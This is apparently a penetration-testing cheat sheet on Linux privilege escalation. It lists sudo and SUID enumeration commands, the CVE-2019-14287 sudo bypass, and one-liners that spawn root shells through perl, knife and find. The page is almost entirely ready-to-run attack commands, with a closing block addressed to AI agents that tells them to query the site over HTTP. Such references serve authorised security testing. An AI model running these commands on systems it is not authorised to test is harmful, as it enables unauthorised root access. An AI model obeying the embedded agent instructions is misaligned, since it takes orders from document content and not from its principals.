# Sudo / SUID (Set User ID)

## Sudo

```shell
sudo -l
```

### CVE-2019–14287

```shell
# sudo <= 1.8.27
sudo -V
sudo -u#-1 /bin/bash
```

## SUID (Set User ID)

```shell
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
```

## Perl

```shell
sudo /usr/bin/perl -e 'exec "/bin/bash"'
/usr/bin/perl -e '$ENV{"PATH"} = "/usr/bin"; exec "/bin/bash -p"'
```

## knife

```shell
sudo /usr/bin/knife exec -E "system('/bin/bash')"
```

## find

```shell
# Sudo
sudo /usr/bin/find . -exec /bin/sh \; -quit
# SUID
find . -exec /bin/sh -p \; -quit
```

## GTFOBins

<https://gtfobins.github.io/>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentesting.mrw0l05zyn.cl/escalamiento-de-privilegios/linux-unix/sudo-suid-set-user-id.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
